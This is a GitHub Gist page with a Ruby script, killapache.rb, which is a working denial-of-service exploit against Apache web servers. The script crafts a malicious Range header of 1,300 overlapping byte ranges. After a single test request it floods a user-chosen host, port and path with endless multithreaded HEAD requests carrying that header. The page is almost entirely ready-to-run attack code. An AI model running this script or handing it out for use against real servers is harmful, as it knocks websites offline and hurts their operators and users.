Created
September 13, 2011 13:47
-
-
Save tamoot/1213842 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
$DEBUG = true | |
require "socket" | |
def simple_head_request_with_range(host, port, path, range) | |
socket = TCPSocket.new(host, port) | |
socket.puts <<EOS | |
HEAD #{path} HTTP/1.1 | |
Host: #{host} | |
Range: #{range} | |
Connection: close | |
EOS | |
socket.read | |
end | |
if ARGV.size < 4 | |
puts <<EOS | |
usage: ruby killapache.rb <host> <port> <path> <numthreads> | |
EOS | |
exit | |
end | |
host = ARGV[0] | |
port = ARGV[1] | |
path = ARGV[2] | |
numthreads = ARGV[3].to_i | |
if not numthreads > 0 | |
puts <<EOS | |
error: <numthreads> must be greater than 0 | |
EOS | |
exit | |
end | |
evil_range = "bytes=#{(1..1300).map{|i| "0-#{i}"}.join(",")}" | |
puts <<EOS | |
host=#{host} | |
port=#{port} | |
path=#{path} | |
numthreads=#{numthreads} | |
EOS | |
puts "==== test run ====" | |
puts simple_head_request_with_range(host, port, path, evil_range) | |
puts "==== real run ====" | |
loop do | |
sleep 0.01 while Thread.list.size > numthreads | |
Thread.new do | |
print ">" | |
STDOUT.flush | |
simple_head_request_with_range(host, port, path, evil_range) | |
print "<" | |
STDOUT.flush | |
end | |
end |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment